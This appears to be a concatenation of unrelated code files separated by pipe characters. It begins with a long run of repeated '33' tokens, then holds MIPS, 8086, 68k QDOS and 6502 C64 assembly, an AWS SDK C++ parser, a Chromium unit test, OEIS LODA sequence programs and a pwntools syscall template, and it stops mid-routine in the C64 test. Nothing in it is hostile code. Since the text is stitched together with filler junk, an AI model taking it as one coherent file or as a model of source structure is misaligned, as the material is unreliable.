33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
.data
prompt1: .asciiz "Enter first integer: "
prompt2: .asciiz "Enter second integer: "
min1: .asciiz "\nMin is: "
max1: .asciiz "\nMax is: "
.text
main:
la $a0, prompt1
li $v0, 4
syscall
li $v0, 5
syscall
move $t0, $v0
la $a0, prompt2
li $v0, 4
syscall
la $v0, 5
syscall
move $t1, $v0
blt $t0, $t1, firstmin
la $a0, min1
li $v0, 4
syscall
move $a0, $t1
li $v0, 1
syscall
la $a0, max1
li $v0, 4
syscall
move $a0, $t0
li $v0, 1
syscall
li $v0, 10
syscall
firstmin:
la $a0, min1
li $v0, 4
syscall
move $a0, $t0
li $v0, 1
syscall
la $a0, max1
li $v0, 4
syscall
move $a0, $t1
li $v0, 1
syscall
li $v0, 10
syscall |
; HERE IS MY CODE FOR USING SHL AND ADD COMMANDS TO ACHIEVE
; 02H*26. (AND THE RESULT IS STORED IN BL)
CODE SEGMENT
ASSUME CS:CODE
START: MOV AL,02H
MOV BL,AL
MOV CL,AL
SHL CL,1 ; 02H*2
SHL BL,3 ; 02H*8
ADD BL,CL ; 02H*(2+8)
SHL AL,4 ; 02H*16
ADD BL,AL ; 02H*(2+8+16)=02H*26
MOV AH,4CH
INT 21H
CODE ENDS
END START |
๏ปฟ/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/drs/model/DescribeReplicationConfigurationTemplatesResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::drs::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
DescribeReplicationConfigurationTemplatesResult::DescribeReplicationConfigurationTemplatesResult()
{
}
DescribeReplicationConfigurationTemplatesResult::DescribeReplicationConfigurationTemplatesResult(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
*this = result;
}
DescribeReplicationConfigurationTemplatesResult& DescribeReplicationConfigurationTemplatesResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
JsonView jsonValue = result.GetPayload().View();
if(jsonValue.ValueExists("items"))
{
Array<JsonView> itemsJsonList = jsonValue.GetArray("items");
for(unsigned itemsIndex = 0; itemsIndex < itemsJsonList.GetLength(); ++itemsIndex)
{
m_items.push_back(itemsJsonList[itemsIndex].AsObject());
}
}
if(jsonValue.ValueExists("nextToken"))
{
m_nextToken = jsonValue.GetString("nextToken");
}
return *this;
}
|
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/bind.h"
#include "base/message_loop/message_loop.h"
#include "content/renderer/media/android/media_info_loader.h"
#include "content/test/mock_webframeclient.h"
#include "content/test/mock_weburlloader.h"
#include "third_party/WebKit/public/platform/WebMediaPlayer.h"
#include "third_party/WebKit/public/platform/WebURLError.h"
#include "third_party/WebKit/public/platform/WebURLRequest.h"
#include "third_party/WebKit/public/platform/WebURLResponse.h"
#include "third_party/WebKit/public/web/WebLocalFrame.h"
#include "third_party/WebKit/public/web/WebView.h"
using ::testing::_;
using ::testing::InSequence;
using ::testing::NiceMock;
using blink::WebLocalFrame;
using blink::WebString;
using blink::WebURLError;
using blink::WebURLResponse;
using blink::WebView;
namespace content {
static const char* kHttpUrl = "http://test";
static const char kHttpRedirectToSameDomainUrl1[] = "http://test/ing";
static const char kHttpRedirectToSameDomainUrl2[] = "http://test/ing2";
static const char kHttpRedirectToDifferentDomainUrl1[] = "http://test2";
static const char kHttpDataUrl[] = "data:audio/wav;base64,UklGRhwMAABXQVZFZm10";
static const int kHttpOK = 200;
static const int kHttpNotFound = 404;
class MediaInfoLoaderTest : public testing::Test {
public:
MediaInfoLoaderTest()
: view_(WebView::create(NULL)), frame_(WebLocalFrame::create(&client_)) {
view_->setMainFrame(frame_);
}
virtual ~MediaInfoLoaderTest() {
view_->close();
frame_->close();
}
void Initialize(
const char* url,
blink::WebMediaPlayer::CORSMode cors_mode) {
gurl_ = GURL(url);
loader_.reset(new MediaInfoLoader(
gurl_, cors_mode,
base::Bind(&MediaInfoLoaderTest::ReadyCallback,
base::Unretained(this))));
// |test_loader_| will be used when Start() is called.
url_loader_ = new NiceMock<MockWebURLLoader>();
loader_->test_loader_ = scoped_ptr<blink::WebURLLoader>(url_loader_);
}
void Start() {
InSequence s;
EXPECT_CALL(*url_loader_, loadAsynchronously(_, _));
loader_->Start(view_->mainFrame());
}
void Stop() {
InSequence s;
EXPECT_CALL(*url_loader_, cancel());
loader_.reset();
}
void Redirect(const char* url) {
GURL redirect_url(url);
blink::WebURLRequest new_request(redirect_url);
blink::WebURLResponse redirect_response(gurl_);
loader_->willSendRequest(url_loader_, new_request, redirect_response);
base::MessageLoop::current()->RunUntilIdle();
}
void SendResponse(
int http_status, MediaInfoLoader::Status expected_status) {
EXPECT_CALL(*this, ReadyCallback(expected_status));
EXPECT_CALL(*url_loader_, cancel());
WebURLResponse response(gurl_);
response.setHTTPHeaderField(WebString::fromUTF8("Content-Length"),
WebString::fromUTF8("0"));
response.setExpectedContentLength(0);
response.setHTTPStatusCode(http_status);
loader_->didReceiveResponse(url_loader_, response);
}
void FailLoad() {
EXPECT_CALL(*this, ReadyCallback(MediaInfoLoader::kFailed));
loader_->didFail(url_loader_, WebURLError());
}
MOCK_METHOD1(ReadyCallback, void(MediaInfoLoader::Status));
protected:
GURL gurl_;
scoped_ptr<MediaInfoLoader> loader_;
NiceMock<MockWebURLLoader>* url_loader_;
MockWebFrameClient client_;
WebView* view_;
WebLocalFrame* frame_;
base::MessageLoop message_loop_;
private:
DISALLOW_COPY_AND_ASSIGN(MediaInfoLoaderTest);
};
TEST_F(MediaInfoLoaderTest, StartStop) {
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
Stop();
}
TEST_F(MediaInfoLoaderTest, LoadFailure) {
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
FailLoad();
}
TEST_F(MediaInfoLoaderTest, DataUri) {
Initialize(kHttpDataUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
SendResponse(0, MediaInfoLoader::kOk);
}
TEST_F(MediaInfoLoaderTest, HasSingleOriginNoRedirect) {
// Make sure no redirect case works as expected.
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
SendResponse(kHttpOK, MediaInfoLoader::kOk);
EXPECT_TRUE(loader_->HasSingleOrigin());
}
TEST_F(MediaInfoLoaderTest, HasSingleOriginSingleRedirect) {
// Test redirect to the same domain.
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
Redirect(kHttpRedirectToSameDomainUrl1);
SendResponse(kHttpOK, MediaInfoLoader::kOk);
EXPECT_TRUE(loader_->HasSingleOrigin());
}
TEST_F(MediaInfoLoaderTest, HasSingleOriginDoubleRedirect) {
// Test redirect twice to the same domain.
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
Redirect(kHttpRedirectToSameDomainUrl1);
Redirect(kHttpRedirectToSameDomainUrl2);
SendResponse(kHttpOK, MediaInfoLoader::kOk);
EXPECT_TRUE(loader_->HasSingleOrigin());
}
TEST_F(MediaInfoLoaderTest, HasSingleOriginDifferentDomain) {
// Test redirect to a different domain.
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
Redirect(kHttpRedirectToDifferentDomainUrl1);
SendResponse(kHttpOK, MediaInfoLoader::kOk);
EXPECT_FALSE(loader_->HasSingleOrigin());
}
TEST_F(MediaInfoLoaderTest, HasSingleOriginMultipleDomains) {
// Test redirect to the same domain and then to a different domain.
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUnspecified);
Start();
Redirect(kHttpRedirectToSameDomainUrl1);
Redirect(kHttpRedirectToDifferentDomainUrl1);
SendResponse(kHttpOK, MediaInfoLoader::kOk);
EXPECT_FALSE(loader_->HasSingleOrigin());
}
TEST_F(MediaInfoLoaderTest, CORSAccessCheckPassed) {
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUseCredentials);
Start();
SendResponse(kHttpOK, MediaInfoLoader::kOk);
EXPECT_TRUE(loader_->DidPassCORSAccessCheck());
}
TEST_F(MediaInfoLoaderTest, CORSAccessCheckFailed) {
Initialize(kHttpUrl, blink::WebMediaPlayer::CORSModeUseCredentials);
Start();
SendResponse(kHttpNotFound, MediaInfoLoader::kFailed);
EXPECT_FALSE(loader_->DidPassCORSAccessCheck());
}
} // namespace content
|
; A260644: Four steps forward, three steps back.
; 0,1,2,3,4,3,2,1,2,3,4,5,4,3,2,3,4,5,6,5,4,3,4,5,6,7,6,5,4,5,6,7,8,7,6,5,6,7,8,9,8,7,6,7,8,9,10,9,8,7,8,9,10,11,10,9,8,9,10,11,12,11,10,9,10,11,12,13,12,11,10,11,12,13,14,13,12,11,12,13,14,15,14,13,12,13,14,15,16,15,14,13,14,15,16,17,16,15,14,15,16,17,18,17,16,15,16,17,18,19,18,17,16,17,18,19,20,19,18,17,18,19,20,21,20,19,18,19,20,21,22,21,20,19,20,21,22,23,22,21,20,21,22,23,24,23,22,21,22,23,24,25,24,23,22,23,24,25,26,25,24,23,24,25,26,27,26,25,24,25,26,27,28,27,26,25,26,27,28,29,28,27,26,27,28,29,30,29,28,27,28,29,30,31,30,29,28,29,30,31,32,31,30,29,30,31,32,33,32,31,30,31,32,33,34,33,32,31,32,33,34,35,34,33,32,33,34,35,36,35,34,33,34,35,36,37,36,35,34,35,36,37,38,37,36,35,36,37,38,39
lpb $0
sub $0,2
add $1,1
add $2,5
trn $2,$0
trn $0,5
add $0,$2
lpe
add $1,$0
|
;--------------------------------------------------------
; Category 4 Function 79H Translate Scan Code To ASCII
;--------------------------------------------------------
;
;
;
IOKTRANSLATE PROC NEAR
RET
IOKTRANSLATE ENDP
|
; Functions to set resident HOTKEYs V2.03 1988 Tony Tebby QJUMP
section hotkey
xdef hot_res
xdef hot_res1
xdef hot_chp
xdef hot_chp1
xref hot_park
xref hot_thar
xref hot_thact
xref hk_newck
xref hk_newst
xref hk_sprc
xref hk_dflts
xref hot_rter
xref gu_thjmp
xref gu_achpp
xref gu_rchp
xref gu_fopen
xref gu_fclos
xref gu_iowp
include 'dev8_keys_qdos_sms'
include 'dev8_keys_qdos_ioa'
include 'dev8_keys_qdos_io'
include 'dev8_keys_err'
include 'dev8_keys_hdr'
include 'dev8_keys_thg'
include 'dev8_ee_hot_bv'
include 'dev8_ee_hk_data'
include 'dev8_ee_hk_xhdr'
;+++
; error = HOT_xxx (key, filename |program name| |I| G|P|U| |window|memory|)
;---
hot_res
moveq #hki.xthg,d6 ; execute thing in respr
bra.s hrs_do
hot_chp
moveq #hki.xttr,d6 ; execute thing in heap
bra.s hrs_do
hot_res1
moveq #hki.wake,d6 ; wake / execute in respr
bra.s hrs_do
hot_chp1
moveq #hki.wktr,d6 ; wake / execute in heap
hrs_do
swap d6
jsr hot_park ; get parameters
bne.l hrs_rts ; ... oops
frame equ $c
movem.l d1/d2/d3,-(sp) ; keep guardian params safe
move.w d7,d1
lea hk_newck,a2 ; check if hotkey is available
jsr hot_thact
bne.l hrs_rter
move.l bv_bfbas(a6),a1 ; filename
move.w d4,d0 ; parameter string?
bne.s hrs_open
move.w d5,d0 ; Job / wake name?
bne.s hrs_open
move.w (a6,a1.l),d0 ; all the name
hrs_open
move.w (a6,a1.l),d1 ; keep length
move.w d0,(a6,a1.l) ; ... just the filename
lea hrs_fexck,a2 ; open and check
jsr hot_thar
bne.l hrs_rter
move.l bv_bfbas(a6),a1
move.w d1,(a6,a1.l)
move.l a0,a5 ; channel ID
btst #hki..trn+16,d6 ; resident proc area for program itself
bne.s hrs_heap
move.l d2,d1
moveq #sms.arpa,d0 ; allocate space
movem.l d2/d3,-(sp)
trap #do.sms2
movem.l (sp)+,d2/d3
tst.l d0
bne.s hrs_heap ; failed, try heap
move.l a0,a4 ; load program here
moveq #(th.len+thh_strt+4+hkh.plen+hkh.hlen)/2+sms.mxjn+4,d0
add.w d0,d0 ; length of thing
jsr gu_achpp
bne.l hrs_close
bra.s hrs_load
hrs_heap
moveq #(th.len+thh_strt+4+hkh.plen+hkh.hlen)/2+sms.mxjn+4,d0
add.w d0,d0 ; length of thing
move.l d0,a4 ; start of program
add.l d2,d0 ; plus length of program
jsr gu_achpp
bne.l hrs_close ; oops
add.l a0,a4 ; abs start of program
hrs_load
moveq #iof.load,d0 ; load file
move.l a4,a1 ; start of program
exg a0,a5
jsr gu_iowp
exg a5,a0
bne.l hrs_rchp ; oops, return heap
move.l bv_bfbas(a6),a1 ; get name into buffer
addq.l #2,a1
move.w d5,d0 ; any name given
beq.s hrs_pnam ; ... no, use program name
lea 1(a1,d5.w),a2
cmp.b #hki.jsep,-1(a6,a2.l) ; job name?
bne.s hrs_pnam
sub.w -2(a6,a1.l),d0
not.w d0 ; length of job name
beq.s hrs_pnam ; ... none
cmp.w #sms.mxjn,d0 ; too long?
bhi.s hrs_pnam ; ... yes, use program name
move.w d5,-2(a6,a1.l) ; remove job name from end
moveq #0,d5 ; ... gone now
bsr.l hrs_mitem ; move item up or down to fit
hrs_sstlp
move.b (a6,a2.l),(a6,a1.l) ; copy characters
addq.l #1,a1
addq.l #1,a2
subq.w #1,d0
bgt.s hrs_sstlp
bra.s hrs_sthg
hrs_pnam
lea 6(a4),a2 ; program header
cmp.w #hkh.flag,(a2)+ ; flagged?
bne.s hrs_sthg ; ... no, use filename
move.w (a2)+,d0 ; length of program name
beq.s hrs_sthg ; ... none
cmp.w #sms.mxjn,d0 ; too long?
bls.s hrs_pnset ; ... no
moveq #sms.mxjn,d0 ; ... yes, limit it
hrs_pnset
bsr.l hrs_mitem ; adjust
hrs_pnlp
move.b (a2)+,(a6,a1.l) ; copy characters
addq.l #1,a1
subq.w #1,d0
bgt.s hrs_pnlp
hrs_sthg
move.l a0,a1 ; thing linkage address
lea th_name(a0),a0 ; fill in name
move.l a0,a3 ; keep pointer to name
bsr.l hrs_cpnm ; copy just program name
lea th_name+sms.mxjn+4(a1),a0
move.l a0,th_thing(a1) ; set pointer to thing
move.l #thh.flag,(a0)+ ; flag
moveq #tht.exec,d0 ; type
move.l d0,(a0)+
tst.b d6 ; impure?
beq.s hrs_pure
move.l a4,d0 ; start of program
sub.l th_thing(a1),d0 ; relative
move.l d0,(a0)+
move.l d2,(a0)+ ; copy all of program
bra.s hrs_data
hrs_pure
moveq #thh_strt+4+hkh.plen,d0 ; start of header
move.l d0,(a0)+
moveq #hkh.hlen+sms.mxjn+2,d0 ; length of header
move.l d0,(a0)+
hrs_data
move.l d3,(a0)+ ; data space
moveq #thh_strt+4,d0
move.l d0,(a0)+ ; start of code
movem.l (sp),d1/d2/d3
jsr hk_sprc ; fill in preamble
move.w #hkh.jmpl,(a0)+
move.l a4,(a0)+
move.w #hkh.flag,(a0)+
bsr.l hrs_cpnm ; copy program name (again)
move.l a1,a0 ; reset base
moveq #sms.lthg,d0 ; link in thing
jsr gu_thjmp
st d6
;* the code here will not work with the present item structure
;* beq.s hrs_item
;* addq.w #2,(a3) ; name two longer
;* move.l a1,a0
;* moveq #sms.lthg,d0 ; and try again
;* jsr gu_thjmp
bne.s hrs_rchp ; ... oops
hrs_item
moveq #hki_name+4,d0 ; allocate heap item
move.l bv_bfbas(a6),a1
add.w (a6,a1.l),d0 ; including name
jsr gu_achpp
bne.s hrs_rthg
move.l a0,a1 ; save base
move.w #hki.id,(a0)+ ; set id
swap d6
move.w d6,(a0)+ ; type
clr.l (a0)+ ; pointer
bsr.l hrs_cnam
move.w d7,d1 ; key
lea hk_newst,a2
jsr hot_thact ; do it
beq.s hrs_close ; ... done
move.l a1,a0
jsr gu_rchp ; return this bit of heap
hrs_rthg
move.l d0,d4
move.l a3,a0
moveq #sms.rthg,d0 ; remove thing
jsr gu_thjmp
move.l d4,d0
bra.s hrs_close
hrs_rchp
jsr gu_rchp ; can't do it
hrs_close
move.l a5,a0
jsr gu_fclos ; close file
hrs_rter
add.w #frame,sp
jmp hot_rter ; and return
hrs_rts
rts
hrs_mitem
move.w d4,d1 ; parameter
bne.s hrs_miset ; ... its there
move.w d5,d1 ; wake name
bne.s hrs_miset
move.w d0,-2(a6,a1.l) ; ... nothing to move - set length
rts
hrs_miset
move.w d1,d2 ; old bottom
neg.w d1
add.w -2(a6,a1.l),d1 ; amount to move
add.w d1,d0 ; new length
move.w d0,-2(a6,a1.l)
sub.w d1,d0
sub.w d0,d2 ; and distance to move
beq.s hrs_rts ; ... no move
movem.l a1/a2,-(sp)
blt.s hrs_mup ; ... move up
add.w d0,a1 ; new bottom
lea (a1,d2.w),a2 ; old bottom
hrs_mdloop
move.b (a6,a2.l),(a6,a1.l)
addq.l #1,a1
addq.l #1,a2
subq.w #1,d1
bgt.s hrs_mdloop
bra.s hrs_mdone
hrs_mup
add.w d0,a1 ; new bottom
add.w d1,a1 ; new top
lea (a1,d2.w),a2 ; old top
hrs_muloop
subq.l #1,a1
subq.l #1,a2
move.b (a6,a2.l),(a6,a1.l)
subq.w #1,d1
bgt.s hrs_muloop
hrs_mdone
tst.w d4 ; parameter string?
beq.s hrs_mwake
sub.w d2,d4 ; ... move it
hrs_mwake
tst.w d5 ; Wake name?
beq.s hrs_mexit
sub.w d2,d5 ; ... move it
hrs_mexit
movem.l (sp)+,a1/a2
rts
hrs_cpnm
move.l bv_bfbas(a6),d0 ; copy just program name
move.w d4,d1 ; parameter string
bne.s hrs_clen ; ... yes, only go this far
move.w d5,d1 ; wake?
bne.s hrs_clen ; .... yes, do not include this
hrs_cnam
move.l bv_bfbas(a6),d0 ; start of name string in buffer
move.w (a6,d0.l),d1
hrs_clen
move.w d1,(a0)+ ; length of name
hrs_cloop
move.b 2(a6,d0.l),(a0)+ ; copy name
addq.l #1,d0
subq.w #1,d1
bgt.s hrs_cloop
hrs_ok
moveq #0,d0
rts
;+++
; Open file (a1) and check if executable
;
; d2 r file length
; d3 r dataspace
; a0 r channel id
; a1 c s pointer to file name (hkd_buf2 - set by hot_thar)
; status return standard
;---
hrs_fexck
lea hkd_buf1(a3),a4 ; defaults buffer
move.l a4,-(sp)
exg a1,a0 ; normal pointers
lea gu_fopen,a4 ; open file
moveq #ioa.kshr,d3 ; shared
jsr hk_dflts ; for defaults
addq.l #4,sp
bne.s hfc_rts ; ... oops
moveq #iof.rhdr,d0 ; read header
moveq #hdr.set,d2 ; minimum
jsr gu_iowp
bne.s hk_fclos ; ... oops, close file
cmp.b #1,hdr_type(a1) ; executable?
bne.s hfc_ijob ; ... no
move.l hdr_flen(a1),d2 ; file length
move.l hdr_data(a1),d3 ; data space
moveq #0,d0
hfc_rts
rts
hfc_ijob
moveq #err.ijob,d0
hk_fclos
jmp gu_fclos
end
|
; A192311: 0-sequence of reduction of (3n-2) by x^2 -> x+1.
; 1,1,8,18,44,92,187,363,688,1276,2330,4200,7493,13253,23272,40614,70504,121828,209663,359535,614576,1047536,1780918,3020688,5112649,8636617,14563592,24517818,41213348,69180716
mov $1,$0
add $0,1
lpb $1
mov $3,$1
sub $1,1
add $4,$3
add $2,$4
add $3,$0
mov $0,$2
mov $4,$3
lpe
|
; A215229: Number of length-6 0..k arrays connected end-around, with no sequence of L<n elements immediately followed by itself (periodic "squarefree").
; 0,18,408,2940,12600,40110,105168,240408,496080,945450,1690920,2870868,4667208,7313670,11104800,16405680,23662368,33413058,46299960,63081900,84647640,112029918,146420208,189184200,241878000,306265050,384333768,478315908,590705640,724279350,882116160,1067619168,1284537408,1536988530,1829482200,2166944220,2554741368,2998706958,3505167120,4080967800,4733502480,5470740618,6301256808,7234260660,8279627400,9447929190,10750467168,12199304208,13807298400,15588137250,17556372600,19727456268,22117776408,24744694590,27626583600,30782865960,34234053168,38001785658,42108873480,46579337700,51438452520,56712788118,62430254208,68620144320,75313180800,82541560530,90339001368,98740789308,107783826360,117506679150,127949628240,139154718168,151165808208,164028623850,177790809000,192501978900,208213773768,224979913158,242856251040,261900831600,282173945760,303738188418,326658516408,351002307180,376839418200,404242247070,433285792368,464047715208,496608401520,531051025050,567461611080,605929100868,646545416808,689405528310,734607518400,782252651040,832445439168,885293713458,940908691800,999405049500
mov $2,$0
sub $2,1
mov $7,$0
lpb $0
lpb $0
sub $0,1
add $4,$2
lpe
sub $2,1
lpb $4
add $1,$2
sub $4,1
lpe
lpe
mov $5,$7
mov $8,$7
lpb $5
sub $5,1
add $6,$8
lpe
mov $3,2
mov $8,$6
lpb $3
add $1,$8
sub $3,1
lpe
mov $5,$7
mov $6,0
lpb $5
sub $5,1
add $6,$8
lpe
mov $5,$7
mov $8,$6
mov $6,0
lpb $5
sub $5,1
add $6,$8
lpe
mov $3,9
mov $8,$6
lpb $3
add $1,$8
sub $3,1
lpe
mov $5,$7
mov $6,0
lpb $5
sub $5,1
add $6,$8
lpe
mov $3,6
mov $8,$6
lpb $3
add $1,$8
sub $3,1
lpe
mov $5,$7
mov $6,0
lpb $5
sub $5,1
add $6,$8
lpe
mov $3,1
mov $8,$6
lpb $3
add $1,$8
sub $3,1
lpe
mov $0,$1
|
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args="timerid, flags, value, ovalue"/>
<%docstring>
Invokes the syscall timer_settime. See 'man 2 timer_settime' for more information.
Arguments:
timerid(timer_t): timerid
flags(int): flags
value(itimerspec): value
ovalue(itimerspec): ovalue
</%docstring>
${syscall('SYS_timer_settime', timerid, flags, value, ovalue)}
|
;-----------------------------------------------------------------------------
!ct scr
* = $0801
; BASIC stub: "1 SYS 2061"
!by $0b,$08,$01,$00,$9e,$32,$30,$36,$31,$00,$00,$00
;-----------------------------------------------------------------------------
start:
sei
; lda #$35
; sta $01
lda #6
sta $d020
sta $d021
jmp main
;-----------------------------------------------------------------------------
printscreen:
ldx #0
lp:
lda screen,x
sta $0400,x
lda screen+$0100,x
sta $0500,x
lda screen+$0200,x
sta $0600,x
lda screen+$02e8,x
sta $06e8,x
lda #1
sta $d800,x
sta $d900,x
sta $da00,x
sta $dae8,x
inx
bne lp
rts
printbits:
sta hlp+1
stx hlp2+1
sty hlp2+2
ldy #0
bitlp:
hlp:
lda #0
asl hlp+1
bcc skp1
lda #'*'
jmp skp2
skp1:
lda #'.'
skp2:
hlp2:
sta $dead,y
iny
cpy #8
bne bitlp
rts
ptr = $02
printhex:
stx ptr
sty ptr+1
ldy #1
pha
and #$0f
tax
lda hextab,x
sta (ptr),y
dey
pla
lsr
lsr
lsr
lsr
tax
lda hextab,x
sta (ptr),y
rts
delay:
ldx #0
dex
bne *-1
rts
;-----------------------------------------------------------------------------
main:
jsr printscreen
loop:
; setup CIA1, port A -> port b
lda #%11111111
sta $dc02 ; port a ddr (all output)
lda #%00000000
sta $dc03 ; port b ddr (all input)
lda #$00
sta $dc00 ; port a data
jsr delay
lda $dc00 ; port a
sta result+0
pha
ldx #<($0400+(40*3)+10)
ldy #>($0400+(40*3)+10)
jsr printhex
pla
ldx #<($0400+(40*3)+20)
ldy #>($0400+(40*3)+20)
jsr printbits
lda $dc01 ; port b
sta result+1
pha
ldx #<($0400+(40*3)+14)
ldy #>($0400+(40*3)+14)
jsr printhex
pla
ldx #<($0400+(40*3)+30)
ldy #>($0400+(40*3)+30)
jsr printbits
; setup CIA1, port B -> port A
lda #%00000000
sta $dc02 ; port a ddr (all input)
lda #%11111111
sta $dc03 ; port b ddr (all output)
lda #$00
sta $dc01 ; port b data
jsr delay
lda $dc00 ; port a
sta result+2
pha
ldx #<($0400+(40*4)+10)
ldy #>($0400+(40*4)+10)
jsr printhex
pla
ldx #<($0400+(40*4)+20)
ldy #>($0400+(40*4)+20)
jsr printbits
lda $dc01 ; port b
sta result+3
pha
ldx #<($0400+(40*4)+14)
ldy #>($0400+(40*4)+14)
jsr printhex
pla
ldx #<($0400+(40*4)+30)
ldy #>($0400+(40*4)+30)
jsr printbits
; setup CIA1, both in
lda #%00000000
sta $dc02 ; port a ddr (all input)
lda #%00000000
sta $dc03 ; port b ddr (all input)
jsr delay
lda $dc00 ; port a
sta result+4
pha
ldx #<($0400+(40*5)+10)
ldy #>($0400+(40*5)+10)
jsr printhex
pla
ldx #<($0400+(40*5)+20)
ldy #>($0400+(40*5)+20)
jsr printbits
lda $dc01 ; port b
sta result+5
pha
ldx #<($0400+(40*5)+14)
ldy #>($0400+(40*5)+14)
jsr printhex
pla
ldx #<($0400+(40*5)+30)
ldy #>($0400+(40*5)+30)
jsr printbits
; setup CIA1, both out ($00,$00)
lda #%11111111
sta $dc02 ; port a ddr (all output)
lda #%11111111
sta $dc03 ; port b ddr (all output)
lda #$00
sta $dc00 ; port a data
sta $dc01 ; port b data
jsr delay
lda $dc00 ; port a
sta result+6
pha
ldx #<($0400+(40*6)+10)
ldy #>($0400+(40*6)+10)
jsr printhex
pla
ldx #<($0400+(40*6)+20)
ldy #>($0400+(40*6)+20)
jsr printbits
lda $dc01 ; port b
sta result+7
pha
ldx #<($0400+(40*6)+14)
ldy #>($0400+(40*6)+14)
jsr printhex
pla
ldx #<($0400+(40*6)+30)
ldy #>($0400+(40*6)+30)
jsr printbits
; setup CIA1, both out (A->B)
lda #%11111111
sta $dc02 ; port a ddr (all output)
lda #%11111111
sta $dc03 ; port b ddr (all output)
lda #$00
sta $dc00 ; port a data
lda #$ff
sta $dc01 ; port b data
jsr delay
lda $dc00 ; port a
sta result+8
pha
ldx #<($0400+(40*7)+10)
ldy #>($0400+(40*7)+10)
jsr printhex
pla
ldx #<($0400+(40*7)+20)
ldy #>($0400+(40*7)+20)
jsr printbits
lda $dc01 ; port b
sta result+9
pha
ldx #<($0400+(40*7)+14)
ldy #>($0400+(40*7)+14)
jsr printhex
pla
ldx #<($0400+(40*7)+30)
ldy #>($0400+(40*7)+30)
jsr printbits
; setup CIA1, both out (B->A)
lda #%11111111
sta $dc02 ; port a ddr (all output)
lda #%11111111
sta $dc03 ; port b ddr (all output)
lda #$ff
sta $dc00 ; port a data
lda #$00
sta $dc01 ; port b data
jsr delay
lda $dc00 ; port a
sta result+10
pha
ldx #<($0400+(40*8)+10)
ldy #>($0400+(40*8)+10)
jsr printhex
pla
ldx #<($0400+(40*8)+20)
ldy #>($0400+(40*8)+20)
jsr printbits
lda $dc01 ; port b
sta result+11
pha
ldx #<($0400+(40*8)+14)
ldy #>($0400+(40*8)+14)
jsr printhex
pla
ldx #<($0400+(40*8)+30)
ldy #>($0400+(40*8)+30)
jsr printbits
; setup CIA1, both out ($ff,$ff)
lda #%11111111
sta $dc02 ; port a ddr (all output)
lda #%11111111
sta $dc03 ; port b ddr (all output)
lda #$ff
sta $dc00 ; port a data
sta $dc01 ; port b data
jsr delay
lda $dc00 ; port a
sta result+12
pha
ldx #<($0400+(40*9)+10)
ldy #>($0400+(40*9)+10)
jsr printhex
pla
ldx #<($0400+(40*9)+20)
ldy #>($0400+(40*9)+20)
jsr printbits
lda $dc01 ; port b
sta result+13
pha
ldx #<($0400+(40*9)+14)
ldy #>($0400+(40*9)+14)
jsr printhex
pla
ldx #<($0400+(40*9)+30)
ldy #>($0400+(40*9)+30)
jsr printbits
ldy #5
ldx #0
l1
lda result,x
cmp resultspc,x
beq nofail1
ldy #2
nofail1
inx
cpx #2*7
bne l1
tya
ldx #0
l1a
sta $d800+(40*11),x
inx
cpx #40
bne l1a
ldy #5
ldx #0
l2
lda result,x
cmp resultshiftlock,x
beq nofail2
ldy #2
nofail2
inx
cpx #2*7
bne l2
tya
ldx #0
l2a
sta $d800+(40*13),x
inx
cpx #40
bne l2a
ldy #5
ldx #0
l3
lda result,x
cmp resultleftshift,x
beq nofail3
ldy #2
nofail3
inx
cpx #2*7
bne l3
tya
ldx #0
